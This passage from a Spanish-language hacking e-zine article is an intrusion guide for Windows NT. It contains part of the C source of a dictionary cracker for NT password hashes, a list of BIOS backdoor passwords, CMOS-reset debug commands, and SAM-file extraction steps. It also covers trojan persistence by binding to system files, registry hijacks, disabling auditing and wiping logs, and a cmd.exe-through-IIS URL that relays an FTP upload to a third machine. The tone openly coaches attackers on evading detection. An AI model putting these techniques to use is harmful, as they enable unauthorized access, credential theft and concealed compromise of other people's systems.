MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2),(uiLength-i)*8);

/* end of Samba code */

/* check if dictionary entry hashed to the same value as the user's

* NT password, if so print out user name and the corresponding

* password

*/

if (memcmp(MDContext.buffer, pUserInfo->ntpassword, HASHSIZE) == 0)

{

printf("Password for user %s is %s\n", pUserInfo->username,\ pDictEntry);

/* we are done with the password entry so free it */

free(pUnicodeDictEntry->buffer);

break;

}

/* we are done with the password entry so free it */

free(pUnicodeDictEntry->buffer);

}

}

/* cleanup a bunch */

free(pUserInfo->username);

memset(pUserInfo->ntpassword, 0, HASHSIZE);

free(pUserInfo);

free(pUnicodeDictEntry);

/* everything is great */

printf("Crack4NT is finished\n");

return 0;

}

void Cleanup()

{

memset(pPWEntry, 0, 258);

memset(pDictEntry, 0, 129);

memset(&MDContext.buffer, 0, HASHSIZE);

}

 

/* parse out user name and OWF */

int ParsePWEntry(char* pPWEntry, PUSER_INFO pUserInfo)

{

int HexToBin(char*, uchar*, int);

 

char pDelimiter[] = ":";

char* pTemp;

char pNoPW[] = "NO PASSWORD*********************";

char pDisabled[] = "********************************";

/* check args */

if (pPWEntry == NULL || pUserInfo == NULL)

{

return FALSE;

}

 

/* try and get user name */

pTemp = strtok(pPWEntry, pDelimiter);

if (pTemp == NULL)

{

return FALSE;

}

/* allocate space for user name in USER_INFO struct */

pUserInfo->username = (char*)malloc(strlen(pTemp) + 1);

if (pUserInfo->username == NULL)

{

fprintf(stderr,"Unable to allocate memory for user name\n");

return FALSE;

}

/* get the user name into the USER_INFO struct */

strcpy(pUserInfo->username, pTemp);

/* push through RID and LanMan password entries to get to NT password */

strtok(NULL, pDelimiter);

strtok(NULL, pDelimiter);

/* get NT OWF password */

pTemp = strtok(NULL, pDelimiter);

if (pTemp == NULL)

{

free(pUserInfo->username);

return FALSE;

}

/* do a sanity check on the hash value */

if (strlen(pTemp) != 32)

{

free(pUserInfo->username);

return FALSE;

}

/* check if the user has no password - we return FALSE in this case to avoid

* unnecessary crack attempts

*/

if (strcmp(pTemp, pNoPW) == 0)

{

printf("User %s has no password\n", pUserInfo->username);

return FALSE;

}

/* check if account appears to be disabled - again we return FALSE */

if (strcmp(pTemp, pDisabled) == 0)

{

printf("User %s is disabled most likely\n", pUserInfo->username);

return FALSE;

}

/* convert hex to bin */

if (HexToBin((unsigned char*)pTemp, (uchar*)pUserInfo->ntpassword,16) == FALSE)

{

free(pUserInfo->username);

return FALSE;

}

/* cleanup */

memset(pTemp, 0, 32);

return TRUE;

}

 

/* just what it says, I am getting tired

* This is a pretty lame way to do this, but it is more efficent than

* sscanf()

*/

int HexToBin(char* pHexString, uchar* pByteString, int count)

{

int i, j;

if (pHexString == NULL || pByteString == NULL)

{

fprintf(stderr,"A NULL pointer was passed to HexToBin()\n");

return FALSE;

}

 

/* clear the byte string */

memset(pByteString, 0, count);

 

/* for each hex char xor the byte with right value, we are targeting

* the low nibble

*/

for (i = 0, j = 0; i < (count * 2); i++)

{

switch (*(pHexString + i))

{

case '0': pByteString[j] ^= 0x00;

break;

case '1': pByteString[j] ^= 0x01;

break;

case '2': pByteString[j] ^= 0x02;

break;

case '3': pByteString[j] ^= 0x03;

break;

case '4': pByteString[j] ^= 0x04;

break;

case '5': pByteString[j] ^= 0x05;

break;

case '6': pByteString[j] ^= 0x06;

break;

case '7': pByteString[j] ^= 0x07;

break;

case '8': pByteString[j] ^= 0x08;

break;

case '9': pByteString[j] ^= 0x09;

break;

case 'a':

case 'A': pByteString[j] ^= 0x0A;

break;

case 'b':

case 'B': pByteString[j] ^= 0x0B;

break;

case 'c':

case 'C': pByteString[j] ^= 0x0C;

break;

case 'd':

case 'D': pByteString[j] ^= 0x0D;

break;

case 'e':

case 'E': pByteString[j] ^= 0x0E;

break;

case 'f':

case 'F': pByteString[j] ^= 0x0F;

break;

default: fprintf(stderr,"invalid character in NT MD4 string\n");

return FALSE;

}

/* I think I need to explain this ;) We want to incremet j for every

* two characters from the hex string and we also want to shift the

* low 4 bits up to the high 4 just as often, but we want to alternate

* The logic here is to xor the mask to set the low 4 bits, then shift

* those bits up and xor the next mask to set the bottom 4. Every 2

* hex chars for every one byte, get my screwy logic? I never was

* good at bit twiddling, and sscanf sucks for efficiency :(

*/

if (i%2)

{

j ++;

}

if ((i%2) == 0)

{

pByteString[j] <<= 4;

}

}

return TRUE;

}

 

/* the following functions are from the Samba source, and many thanks to the

* authors for their great work and contribution to the public source tree

*/

/* Routines for Windows NT MD4 Hash functions. */

static int _my_wcslen(int16 *str)

{

int len = 0;

while(*str++ != 0)

len++;

return len;

}

/*

* Convert a string into an NT UNICODE string.

* Note that regardless of processor type

* this must be in intel (little-endian)

* format.

*/

static int _my_mbstowcs(int16 *dst, uchar *src, int len)

{

int i;

int16 val;

 

for(i = 0; i < len; i++) {

val = *src;

SSVAL(dst,0,val);

dst++;

src++;

if(val == 0)

break;

}

return i;

}

<-->

-- Finaliza el codigo --

 

 

-=-

 

 

[ 10 - Herramientas de control remoto ]

-------------------------------------

Quienes lo han probado ya lo saben. Controlar una maquina remotamente con

todos los privilegios es un placer. Para ello, se puede optar por un par de

soluciones, controlar a la maquina por medio de troyanos o por herramientas

comerciales, por norma mas potentes que los anteriores, pero estos requieren

autentificacion, por lo que en principio solo pueden ser usados por personal

autorizado. Remarquese "en principio".

Aqui estudiaremos estas dos clases de software para controlar remotamente

una maquina. Veremos en profundidad el software comercial mas usado para

ello, repasando sus bugs y sus caracteristicas, y explicare las cualidades

de algunos troyanos para NT, cuales son sus ventajas/desventajas, etc.

 

 

[ 10.1 - Software comercial ]

---------------------------

Los programas de control remoto de terminales de pago, son por norma

mucho mas potentes en lo que a opciones se refiere que los troyanos. Estos

se usan bastante en empresas, donde el administrador no podra estar siempre

delante de la maquina, y quiere disfrutar de una gui remota, rapida, eficaz,

y segura, claro.

Los principales problemas de seguridad que suelen dar son: tener el

programa mal configurado, con contrase~as debiles, o que el programa tenga

un bug que no esta parcheado. Lo tipico.

Que sirva lo siguiente como comparativa de seguridad de los siguientes

programas.

 

 

[ 10.1.1 - Citrix ]

-----------------

Esta es una poderosa herramienta, que destaca sobretodo porque permite

ejecutar mandatos remotos en en servidor. Esto es bastante practico cuando

se quiere instalar de forma remota un parche de seguridad para el servidor,

etc., pero cualquiera con obscuras intenciones podria ejecutar algun troyano

o alguna herramienta que transforme el servidor en una calabaza.

Citrix no necesita tener abiertos los puertos 135 y 139 para el proceso

de autentificacion.

 

Puerto/s que usa: TCP: 1494.

UDP: 1494.

URL dEl fabricante: http://www.citrix.com

 

 

[ 10.1.2 - ControlIT ]

--------------------

Esta herramienta, nunca se caracterizo por una gran seguridad. En sus

primeras versiones guardaba en texto plano los nombres de usuarios y

contrase~as, y actualmente las codifica no de manera demasiado segura.

Tambien descuida el detalle de obligar a los usuarios a usar contrase~as

fuertes, de proteger los archivos de configuracion y perfiles bajo clave, y

tampoco registra los intentos de inicio de sesion fallidos, aparte de ser

vulnerable a la revelacion de contrase~a de la GUI.

 

Puerto/s que usa: TCP: 799. 800.

UDP: 800.

(permite utilizar otros puertos)

URL dEl fabricante: http://www.cai.com

 

 

[ 10.1.3 - Pc Anywhere ]

----------------------

Seguramente ya conocereis esta estupenda herramienta, quiza una de las

mas seguras. Y digo seguras porque obliga al usuario a usar contrase~as lo

suficientemente seguras como para evitar ser adivinadas, distintos metodos

de autentificacion, cifrado del trafico, un numero maximo de intentos de

inicio de sesion, el registro de intentos de intentos de sesion fallidos, el

cierre de sesion del usuario cuando este finalice su conexion, entre otras

cosas.

Sin embargo en estos ultimos dias, Manuel Molina Garcia dio constancia de

que se si se tienen permisos en la carpeta %systemroot%\symantec\pcanywhere\

DATA\ podemos a~adir perfiles. De esta manera podriamos crearnos una cuenta

en nuestra maquina con PcAnywhere que tuviera derechos administrativos, para

despues subirla al servidor en la carpeta especificada. De esa manera, se

tendria el control total de la maquina. Claro, algunos diran que para tener

derechos de escritura en esa carpeta debes ser administrador, y que si ya lo

eres, ya puedes controlar la maquina. Yo personalmente prefiero controlar

la maquina por un entorno grafico, con tantisimas posibilidades como Pc

Anywhere, y no conformarme con una shell de comandos.

Puerto/s que usa: TCP: 22, 5361, 5362, 65301.

UDP: 22, 5632.

(permite utilizar otros puertos)

 

URL dEl fabricante: http://www.symantec.com

 

 

[ 10.1.4 - Reach OUT ]

--------------------

Este otro programa, aunque es bastante comodo de usar, no es todo lo

seguro que cabria esperar, ya que no posee un sistema de autentificacion que

no sea el de Windows NT, no protege bajo contrase~a ni sus perfiles ni sus

archivos de configuracion.

 

Puerto/s que usa: TCP: 43188.

UDP: 43188.

URL dEl fabricante: http://www.stac.com

 

 

[ 10.1.5 - Remotely Anywhere ]

----------------------------

Este herramienta, pese a haber aparecido hace poco, es una de las mejores

herramientas de control remoto, y promete ser la mejor dentro de poco. Y eso

lo digo porque posee opciones realmente innovadoras dentro de su clase, como

la de poder controlar remotamente el servidor a traves de http... desde el

navegador mismo.

Respecto a la seguridad, posee la mayoria de medidas que Pc Anywhere,

excepto la de ofrecer una autentificacion distinta a la que trae NT, por lo

una vez se tienen los pass de la maquina se tienen los pass del programa.

Ademas posee la posibilidad de ejecutar aplicaciones locales en el

servidor, como citrix. Tambien podremos encontrar interesantes opciones como

la de bloquear selectivo de IP's autentificacion NTLM, etc...

 

Puerto/s que usa: TCP: 2000, 2001.

UDP: Ninguno.

(permite utilizar otros puertos)

URL dEl fabricante: http://www.remotelyanywhere.com

 

 

[ 10.1.6 - Timbuktu ]

-------------------

Este programa tiene las mismas caracteristicas de seguridad que incorpora

Pc Anywhere, a~adiendo un par de opciones de control mas, como son el poder

compartir la pantalla simultaneamente entre varios usuarios, la posibilidad

de ponerle caducidad a la contrase~a, etc.

Quizas, el mejor controlador de pc remoto del mundo (como la cerveza).

 

Puerto/s que usa: TCP: 407.

UDP: 407.

URL dEl fabricante: http://www.remotelyanywhere.com

 

 

[ 10.1.7 - VNC ]

--------------

Aunqyue haya metido a VNC en la seccion de software comercial, hay que

decir que este es totalmente gratis. Freeware. VNC son las siglas de Virtual

Network Computing.

Quiza su mayor aliciente sea que se puede instalar en muchos SO's, como

Windows 9x/NT/CE, Solaris, Linux e incluso Macintosh. VNC ademas posee una

interfaz java que se podra ver en cualquier navegador que soporte java, para

controlarlo por HTTP.

Cabe decir que VNC no es de los productos mas seguros ni mas completos,

ya que es subsceptible al ataque de revelacion de contrase~a, y carece de

otras opciones de seguridad de otras aplicaciones de control remoto. Sin

embargo, es practico y es freeware.

 

Puerto/s que usa: TCP: Del 5800, 5801, 5802, 5803...

UDP: Ninguno.

URL dEl fabricante: http://www.uk.research.att.com/vnc/faq.html

 

 

[ 10.2 - Troyanos ]

-----------------

Infectar a la maquina hackeada con algun troyano es la tipica forma de

asegurarse la estancia... durante cierto tiempo. Un troyano no pasara

inadvertido a los ojos del admin por mucho tiempo...

Sin embargo en una maquina medio descuidada por el admin, el instalar un

troyano suele servir bastante bien, aunque no es demasiado recomendable. Si

se opta por instalar uno, debe ser para troyanizar ciertos archivos del

sistema, y posteriormente desinstalar totalmente el troyano, para dejar una

puerta de entrada mas silenciosa.

 

[ 10.2.1 - Pros y contras ]

-------------------------

Las ventajas que tiene usar un troyano son que, con el cliente adecuado,

es muy comodo entrar y salir de este, ademas sin dejar huellas en el sistema

(esto es relativo, si el admin hace un "netstat -a -n" vera tu IP conectada

al puerto del troyano...).

Lo malo que tiene este metodo es que canta muchisimo... hay que ser algo

mas que un dscuidado para no darse cuenta de que se tiene abierto un puerto

"extra~o". Ademas, si estamos usando algun troyano de los ya "fichados", del

tipo BackOriffice 2K, sin haber modificado el codigo fuente, cualquier

Antivirus decente, o algun limpiatroyanos o similar lo detectara, y ahi lo

mejor que puede pasar es que el admin lo desinstale totalmente y no se ponga

a buscarte...

 

 

[ 10.2.3 - Comparativa ]

----------------------

En W2K/NT, el troyano mas potente es el Back Oriffice 2K, que ofrece una

gran cantidad de opciones de control sobre la maquina asediada, una gran

facilidad de uso, y una gran cantidad de addons sobre este. Ademas es Free

Source, por lo que podras modificarlo a placer...

Si se va a instalar un troyano en la maquina victima, no recomiendo el

uso de otros troyanos tipo NetBus, SubSeven, etc... u otro cualquiera a

menos que no hayais comprobado que funcionen correctamente bajo NTFS. NetBus

por ejemplo, trabaja torpemente con el sistema de archivos de NT, incapaz de

listar directorios y hacer otras operaciones rutinarias.

Quiza una de las soluciones mas inteligentes si se usan troyanos, es la

de usarlos junto EliteWrap. Dicha herramienta permite fusionar dos o mas

archivos en uno solo, de manera que cuandose ejecute uno el otro tambien lo

hara. Y decia inteligentes porque podriamos (es una idea) fusionar un

archivo de inicio de sesion (como winlogon.exe) o a un troyano, de esa

manera se podra borrar el troyano temporalmente, ya que cada vez que se

arranque el sistema el troyano se volvera a ejecutar...

Tambien se podria fusionar con un fichero de salvapantallas... etc. Los

intrusos con menos imaginacion seran los que caeran primero.

 

 

[ 10.2.4 - Resumen sobre las herramientas de control remoto ]

-----------------------------------------------------------

Como hemos visto, hay dos maneras de acceder remotamente a un servidor

mediante control remoto: usando software comercial o un troyano. Por poder,

podriamos haber usado un I-worm... pero eso ya seria irse demasiado. Quiza

para la proxima vez.

Si detectamos algun tipo de soft comercial de control remoto en alguna

maquina, podemos intentar acceder desde el cliente de dicha herramienta

(podriamos bajarnos las versiones shareware de estos) y probar ataques por

fuerza bruta, etc. Si lograramos acceso, podriamos desde nuestra maquina

a~adir un perfil con nuestro nombre de usuario y password, y subirlo a la

maquina hackeada para poder entrar desde nuestra propia cuenta. Esto

evitaria que se notase nuestra presencia si se logueasen las entradas desde

la cuenta hackeada.

Sobre los troyanos ya hemos visto lo basico... si quereis aprender mas

sobre estos, acudir a www.controltotal.org.

 

 

-=-

 

 

[ 12 - Rootkits ]

---------------

Un Rootkit es un conjunto de programas que parchean y troyanizan el

sistema operativo. No hay que confundir a estos con los troyanos. Usar

rootkits en el sistema objetivo es una de los metodos mas fiables para

mantener el acceso al mismo, sin dejar huellas.

Las posibilidades que aporta un rootkit son infinitas, desde troyanizar

El sistema de autentificacion para que de acceso a un usuario que no este

presente en el archivo de contrase~as (invisible desde la vista del propio

administrador), parchear un sistema de deteccion de intrusos (IDS), parchear

la auditoria para que no audite las acciones de segun que usuario, etc.

No voy a explicar como poder hacernos un rootkit, quiza en otra documento

nos pongamos a ello. Ello implicaria explicar desde el modo protegido del

i386, hasta el como trabaja el monitor de seguridad de referencia, etc.

Quizas en otro documento los trate detalladamente. Entonces, para que esta

seccion? he creido necesario ponerla para que el lector sepa que existen, y

si quiere profundizar mas en estos en las URL que se dan en el apendice. No

estaria bien hablar de estos sin poner un ejemplo de uno... el unico del que

tengo constancia que existe, el de rootkit.com. Dicho rootkit esta compuesto

por una gran cantidad de archivos, por lo que no espereis que meta en medio

dEl articulo el codigo fuente.

Aviso: No ejecutar el fichero deploy.exe sino se sabe bien lo que hace,

menos aun si esta en una maquina NT que hace de servidor a tantas

otras maquinas...

 

 

-=-

 

 

[ 13 - Resumen ]

--------------

He intentado explicar la mayoria de metodos para entrar en un NT, asi

como algunas formas de mantener nuestra estancia. Ahora profundizaremos un

poco mas en los dos metodos de hackeo, fisico y remoto. Alla vamos.

 

 

-=-

 

 

Parte III, Hacking fisico de NT

-------------------------------

 

[ 14 - Iniciacion ]

-----------------

Se dice que una maquina no es totalmente segura si esta no es totalmente

segura fisicamente. Y es cierto.

Muchos Administradores se centran exclusivamente en la seguridad de red,

no dando importancia a la seguridad fisica, olvidando que si el intruso

tiene acceso al servidor, tiene muchas posibilidades de obtener un control

total sobre el.

A continuacion repasaremos algunos metodos para asegurar nuestra sigilosa

estancia.

 

 

[ 15 - Consiguiendo acceso ]

--------------------------

Lo primero es conseguir el acceso al servidor fisico. Supongamos que ya

lo tenemos... normalmente el servidor estara vigilado, por lo que el

llevarse el disco duro no suena como medida viable, y se tendra que hackear

desde el sitio donde este la maquina.

Veamos uno de los principales problemas que suele haber al intentar

acceder al sistema, segundos despues de encenderlo; arranca el sistema y...

 

 

[ 15.1 - Saltandose la BIOS ]

---------------------------

Vaya, la BIOS nos pide contrase~a para arrancar el sistema. Lo normal

sera que no sepamos la clave y que no la adivinemos...

Aqui podemos optar por cuatro caminos principalmente. El primero seria,

cuando veais la maquina encendida y no haya peligro... le instalais un

crackeador de passwords de la BIOS y ale, a probar. Sin embargo lo mas

seguro sera que el due~o corra NT por el sistema de archivos nativo de NT,

el NTFS (el cual Falken explico en SET 15), por lo que, y como la mayoria

de crackeadores de passwords de la BIOS son para MS-DOS, pues no funcione.

Para ello podeis instalar un emulador de MS-DOS, y listos. Aqui teneis un

par de URL's que os serviran: http://www.password-crackers.com/crack.html y

http://neworder.box.sk, seccion utilidades/bios/cmos tools

La segunda opcion es mas disparatada... la tipica y mil veces explicada

solucion de quitarle la pila a la placa base y esperar a que la RAM CMOS se

descargue... ya que mantiene la informacion solo si esta recibiendo energia

constantemente. Si la maquina esta vigilada probar esta tecnica resulta

arriesgado... o por lo menos en mi opinion (IMO).

La tercera posibilidad es probar con los passwords de la siguiente lista,

los cuales fueron puestos por las compa~ias creadoras del modelo determinado

de bios por si al due~o se le olvidaba la contrase~a. Esta lista ha sido

recopilada por Nethan Einwechter y extraida de hack.co.za.

 

Tipo de BIOS Contrase~a

------------ ----------

AMI 589589

A.M.I.

aammii

AMI

AMI!SW

AMI.KEY

ami.kez

AMI?SW

AMI_SW

AMI

amiø

amiami

amidecod

AMIPSWD

amipswd

AMISETUP

bios310

BIOSPASS

CMOSPWD

helgaos [la 'o' con acento]

HEWITT RAND

KILLCMOS

Amptron Polrty

AST SnuFG5

Award ?award

º01322222

1EAAh

256256

589721

admin

alfarome

aLLy

aPAf

award

AWARD SW

award.sw

AWARD?SW

award_?

award_ps

AWARD_PW

AWARD_SW

awkward

BIOS

bios*

biosstar

CONCAT

condo

CONDO

djonet

efmukl

g6PJ

h6BB

HELGA-S

HEWITT RAND

HLT

j09F

j256

j262

j322

j64

lkw peter

lkwpeter

PASSWORD

SER

setup

SKY_FOX

SWITCHES_SW

Sxyz

SZYX

t0ch20x

t0ch88

TTPTHA

ttptha

TzqF

wodj

ZAAADA

zbaaaca

zjaaadc

Biostar Biostar

Q54arwms

Compaq Compaq

Concord last

CTX International CTX_123

CyberMax Congress

Daewoo Daewuu

Daytek Daytec

Dell Dell

Digital Equipment komprie

Enox xo11nE

Epox central

Freetech Posterie

HP Vectra hewlpack

IBM IBM

MBIUO

sertafu

Iwill iwill

JetWay spoom1

Joss Technology 57gbz6

technologi

M technology mMmM

MachSpeed sp99dd

Magic-Pro prost

Megastar star

Micron sldkj754

xyzall

Micronics dn_04rjc

Nimble xdfk9874t3

Packard Bell Bell9

QDI QDI

Quantex teX1

xljlbj

Research Col2ogro2

Shuttle Spacve

Siemens Nixdorf SKY_FOX

SpeedEasy lesarot1

SuperMicro ksdjfg934t

Tinys tiny

TMC BIGO

Toshiba 24Banc81

Toshiba

toshy99

Vextrec Technology Vextrex

Vobis merlin

WIMBIOSnbsp BIOS v2.10 Compleri

Zenith 3098z

Zenith

ZEOS zeosx

 

La cuarta opcion seria desde MS-DOS reinicializar la BIOS. Para ello, una

vez tengais acceso a la maquina en windows/ms-dos, podeis usar el debug e

introducir las siguientes instrucciones:

 

Tipo de BIOS Instrucciones

------------ -------------

AMI y Award O 70 17

O 71 17

Q

Phoenix O 70 FF

O 71 17

Q

*CUALQUIERA* O 70 2E

O 71 FF

Q

 

 

[ 16 - Obteniendo las SAM ]

-------------------------

Supongamos que ya hemos entrado... ahora el sistema arranca... llegamos a

la tipica ventana de autentificacion que nos pide que introduzcamos un

nombre de usuario y contrase~a. El unico problema seguramente sera que si

sabemos el nombre de usuario que queramos atacar (y sino, NT por defecto

deja El login del ultimo usuario que entro localmente), pero no sabemos la

contrase~a. No hay nada a hacer... todo esta perdido? ni por asomo.

Si ese es nuestro caso lo que debemos de hacer es arrancar el sistema con

un disquete que traiga MS-DOS (no importa demasiado la version...) y un

programa llamado NTFSDOS. Dicho programa permite leer particiones NTFS desde

El disquete... y asi sacar, por ejemplo, el fichero SAM(*) del directorio

WinNT/repair/

Hay mas formas de conseguir las SAM... por ejemplo, instalando un

sniffer, etc... las posibilidades son muchas y variadas, pero la mas tipica

en un hack local es esta. Para encontrar sniffers para NT pasaros por el

apendice.

Luego, una vez ya tengamos el SAM, podemos probar crackearlo con algun

crackeador de SAM's, como por ejemplo el L0pht Crack.

Una vez desencriptada la cuenta de Administrador (o una cuenta con

privilegios de administrador) ya podremos pasar a la siguiente etapa en la

intrusion.

* En NT 4, la copia del fichero SAM estaba en WinNT/repair/sam._ , a

diferencia que en W2K, en la que se ha renombrado de sam._ a sam.

 

 

[ 17 - Asegurandonos la estancia ]

--------------------------------

Hay muchas maneras de asegurarnos la estancia en la maquina accediendo

localmente a esta.

Podemos optar por no instalar ninguna aplicacion, dejar el sistema como

estaba... o bueno, casi. En este caso cambiariamos unas determinadas claves

dEl registro, de manera que cuando en el proceso de autentificacion el

teclado este inactivo durante un tiempo determinado, se ejecute, en lugar de

un salvapantallas, un programa que nosotros elijamos... que tal cmd.exe? si,

ya se que no tendremos privilegios administrativos, que no podremos movernos

por los directorios que queramos, etc. Pero podremos copiar el fichero SAM

a nuestro disquete... de manera que aunque el administrador cambie las

claves nosotros podremos seguir entrando.

- La clave donde se almacena el nombre del archivo a ejecutar es:

HKEY_USERS\.DEFAULT\Control Panel\Desktop\SCRNSAVE.EXE

- La clave que decide el tiempo que debe pasar para que se ejecute dicha

aplicacion se encuentra en:

HKEY_USERS\.DEFAULT\Control Panel\Desktop\ScreenSaveTimeOut

Sin embargo mientras quede imaginacion habran muchas mas formas de retener

nuestra estancia localmente, como con el EliteWrap fusionar explorer.exe con

algun ejecutable que cumpla unas funciones determinadas... etc.

Recordad que el codigo que se ejecuta no se ejecutara con privilegios de

sistema, por lo si, por ejemplo, adjuntais un .bat que os cree una cuenta en

El sistema, no tendreis privilegios para ello.

 

 

[ 18 - Borrando las huellas ]

---------------------------

Es bastante probable que durante nuestras andanzas no hayamos dejado algun

log, por lo que se hace vital el borrar cualquier rastro que pueda ayudar a

que nos descubran, y en el mejor de los casos, solo nos cierren el acceso.

Depende de las acciones que hayamos hecho en el sistema se habran mas o

menos logs en los que figuraremos, los cuales pueden ser mas o menos

relevantes... veamos.

En El registro se halla gran parte de la configuracion de la auditoria del

sistema. Eliminando unas cuentas claves habremos "capado" la auditoria.

A continuacion muestro la ruta de las claves que juegan algun papel en la

auditoria.

- Esta registra los sucesos relacionados con objetos y carpetas:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\AuditBaseObjects

- Esta otra los permisos:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\

FullPrivilegeAuditing

- Esta decide si el sistema se apagara al llegar a un limite de logs (*):

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\CrashOnAuditFail

* Es asi porque Windows NT (cumpliendo las normas del C2) puede ponerse

inactivo si se llega a un tama~o determinado en el archivo de logs. Esto

podria salvar al sistema de ataques DoS, e incluso para avisar de la

existencia de un intruso (cuando se ataca un sistema NT generalmente se

generan gran cantidad de logs).

Sin embargo tambien podemos usar para ello el registro de sucesos, y

borrar desde alli nuestros logs.

Una vez borrados los logs, si queremos que la auditoria siga en curso pero

no quereis dejar huellas, podeis utilizar la herramienta auditpol (ver

seccion herramientas) para suspender la auditoria, hacer vuestra labor, y

reanudarla con la misma configuracion de antes, sin que tus acciones se vean

figuradas en el visor de sucesos.

Ademas de esto, podemos borrar la historia de algunas aplicaciones

integradas de NT en Inicio/Configuracion/Barra de tareas y menu Inicio/

Opciones avanzadas/Borrar.

Con esto no deberia quedar ninguna huella... si lo hemos hecho bien.

 

 

[ 19 - Resumen ]

--------------

Como se ha visto, la seguridad fisica de NT es un punto que hay que

vigilar mucho, ya que el saltarse una seguridad fisica mediocre pasa por ser

puro tramite.

 

 

-=-

 

 

Parte IV, Hacking remoto de NT

-------------------------------

 

 

[ 20 - Enumeracion de fallos ]

----------------------------

Lo primero que se hace cuando se quiere hackear un sistema, normalmente

es la ganancia de informacion. Sin embargo esto no requiere demasiadas

explicaciones asi que perdonadme que me lo salte. Nos iremos directo a la

enumeracion de fallos en el sistema, para trazar el camino de la intrusion.

La mayor parte de la informacion del sistema la vamos a sacar gracias a

los escaneadores de vulnerabilidades que hay en el mercado. Si alguien desea

saber como se logra dicha informacion, aprender sobre el recurso IPC$, etc.,

que se pase por el apendice.

Para auditar al host podemos valernos de varias herramientas de escaneo

de vulnerabilidades, o hacerlo manual. Como que hacerlo manual es harto

pesado, utilizaremos Retina para estos fines. Dicho escaneador es bastante

completo y eficaz.

Si os lo estais preguntando, no voy a explicar como usarlo... no creo que

haga falta explicar una herramienta tan sencilla y tan visual.

Podriamos tambien probar con algun escaneador de cgis (aunque retina se

se encarga tambien de esta funcion), etc. Herramientas hay de sobras.

 

 

[ 21 - Incursion en el sistema ]

------------------------------

Obviamente, depende de la vulnerabilidad que explotemos habra una forma

de entrar u otra. Entonces, para que pongo esto?, pues para decir que sea

cual sea la forma del ataque, ojo con las huellas, que tanto los ataques por

NetBIOS, como las entradas por FTP y las peticiones HTTP pueden generar logs

con vuestra IP... asi que id con ojo, si vais a hacer entradas por FTP, usar

alguna shell remota para ello, o por lo menos no lo hagais desde vuestra

casa. Si es necesario hacedlo en un cyber aunque tampoco es demasiada buena

idea. Tambien cabe la posibilidad de que useis el ataque PIPE HTTP, que ya

explico Cheesy en su dia, pero que por las moscas lo volvere a mostrar.

Este se basa en hacer que desde una maquina que no sea tuya (maquina B)

se ataque a una maquina cualquiera (maquina C), de manera que en la maquina

C no salgan logs de tu maquina...

Lo esencial es que tengamos el control de maquina b, para copiar cmd.exe

a un directorio virtual. Ademas de eso necesitaremos subir un fichero en el

que se incluyan los comandos que vayamos a usar por orden en la maquina C

separados por un retorno de carro.

Imaginemos que hemos subido cmd.exe a la carpeta Scripts de la rama de

InetPub. Esto quedaria asi:

http://www.maquina.com/cgi-bin/scripts/cmd.exe?/c:%20c:\winnt\system32\

ftp.exe%20-s:comandos.txt%20www.maquinaC.es

De manera que en maquina.com se ejecutaria cmd.exe pasandole como

argumento la ejecucion de ftp.exe a la maquinaC con los comandos a ejecutar

definidos en un fichero llamado comandos.txt, situado en el mismo directorio

que ftp.exe.

El fichero comandos.txt podria contener algo asi como:

Anonymous

me_suelen_decir_que_miento@demasiado.com

Put programa.exe

rename programa.exe iishelp.exe

Bye

No se si os habeis fijado en que a cmd.exe le pasamos como argumento el

parametro /c , lo que indica que nada mas cumplir con su tarea cerrara el

proceso creado por este. Muy util.

 

 

[ 22 - Asegurando nuestra estancia ]

----------------------------------

Una vez se ha hackeado el sistema, se querra volver a entrar, y seria muy

pesado tener que volver a explotar el bug por el que entramos cada vez que

se quiera volver a controlarlo.

Una solucion facilona seria la de introducir un troyano... pero eso canta

que da gusto, a minimamente inteligente que sea el admin, si ve un puerto

cuya funcion desconoce... podria mosquearse. Si se opta por esta opcion,

recomiendo por usar el Back Oriffice 2000 (BO2K), y si le podemos editar

ciertos aspectos como el puerto, etc. mejor para que no salte tanto a la

vista (recordad que el codigo fuente de BO2K lo podreis encontrar en

bo2k.com). Tambien podriamos optar por un keylogger, o un Rootkit, cada uno

sabra que usar.

 

 

[ 23 - Borrado de huellas ]

-------------------------

Estamos en las mismas que al principio; depende del bug que hayamos

explotado habra mas o menos logs. Pero basicamente todo se reduce a borrar

los logs de %systemroot%\system32\LogFiles. Sin embargo tambien convendria

que les dierais un repaso a todos los logs que veais guardan algo de

relacion con vosotros... para eso nada mejor que, desde consola y desde el

directorio raiz, hacer un dir /s *.log > resultado.txt y mirarse el fichero

resultado para ver que ficheros de log hay... y a los .evt (ficheros de

registro de sucesos) tambien se les deberia de dar un repaso en caso de que

se estuvieran auditando vuestros movimientos.

 

 

[ 24 - Conclusiones ]

-------------------

Seria totalmente imposible definir todos los metodos de hackeo remoto a

un NT, por lo que se ha dicho en esta seccion no es mucho, pero sirve para

comprender que no se ha de dejar ningun rastro, y como hacerlo. Que sirva

como guia de supervivencia del hack remoto ;-). Sin embargo, si fuerais a

intentar hackear un servidor, deberiais primero planear todas vuestros

movimientos y la forma de evitar ser rastreado. Ante todo, sed listos, usad

una linea limpia si vais a hacer "cosas malas".

 

 

-=-

 

 

Parte V, Apendice y conclusion final

------------------------------------

 

 

[ 25 - Apendice ]

---------------

Este documento se ha basado en cantidad de informacion extraida de webs,

documentos, libros, etc. A continuacion muestro todas las referencias que me

han servido de ayuda para completar este documento.

 

 

[ 25.1 - Webs ]

-------------

# En castellano:

General

[1] Proyecto Enete: http://enete.us.es

[2] Hispasec: http://www.hispasec.com

[3] Inseguridad.org: http://www.inseguridad.org

[4] Networking Center: http://www.networking-center.org

 

Ezines

[5] SET: http://www.set-ezine.org

[6] 7a69: http://www.7a69ezine.8m.com

[7] Netsearch: http://www.netsearch-ezine.com

[8] JJF: http://www.jjf.org

 

 

# En ingles:

General

[8] Windows 2000 Magazine: http://www.winntmag.com

[9] SysInternals: http://www.sysinternals.com

[10] NT Security: http://www.ntsecurity.net

[11] NT Bugtraq: http://www.ntbugtraq.com

[12] Packetstorm: http://packetstorm.securify.com

[13] L0pht: http://www.l0pth.com

[14] ISS: http://www.iss.net

[15] eEye: http://www.eeye.com

[16] WebTrends: http://www.webtrends.com

[17] AntiOnline: http://www.antionline.com

[18] cDc: http://www.cultdeadcow.com

[19] Security Focus: http://www.securityfocus.com

[20] Rhino9: http://www.technotronic.com/rhino9/

Exploits

[21] Security Bugware: http://161.53.42.3/~crv/security/bugs/new.html

[22] NT Exploits: http://www.dhp.com/~fyodor/sploits_microshit.html

